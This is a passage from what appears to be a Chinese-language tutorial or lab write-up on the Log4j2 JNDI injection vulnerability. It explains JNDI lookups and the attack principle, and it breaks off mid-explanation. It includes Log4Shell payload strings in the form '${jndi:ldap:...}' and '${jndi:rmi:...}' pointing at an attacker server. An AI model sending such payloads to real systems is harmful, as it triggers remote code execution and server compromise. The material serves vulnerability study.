目录
4,用JNDI注入利用工具(构建ldap服务)生成payload:
前言
概述(来自vulfocus)
富的特性。该日志框架被大量用于业务Apache Log4j2 是一个基于 Java 的日志记录工具。该工具重写了 Log4j 框架,并且引入了大量丰系统开发,用来记录日志信息。 在大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。攻击者利用此特性可通过该漏洞构造特殊的数据请求包,最终触发远程代码执行。
log4j2中存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞。成功利用该漏洞可在目标服务器上执行任意代码。
什么是JNDI
JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为待定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。JNDI注入主要是用过下载远程class,来运行恶意代码。JNDI注入攻击时常用的就是通过RMI和LDAP两种服务。
原理:JNDI通过lookup()方法解析接收自应用程序的信息,从而去对应的服务(如LDAP、RMI、DNS、文件系统、目录服务…)查找资源。
格式 ${jndi:rmi:192.168.96.1:1099/wqiyua}
漏洞攻击原理
当用户输入信息时,应用程序中的log4j2组件会将信息记录到日志中 当日志中含有该语句${jndi:ldap:x.x.x.x:x/exp}, lod4j就会去解析该信息,通过jndi的lookup()方法去解析该URL:ldap:x.x.x.x:x/exp
解析到ldap,就会去x.x.x.x:x的ldap服务找名为shell的资源,如果找不到就会去http服务中找
在http中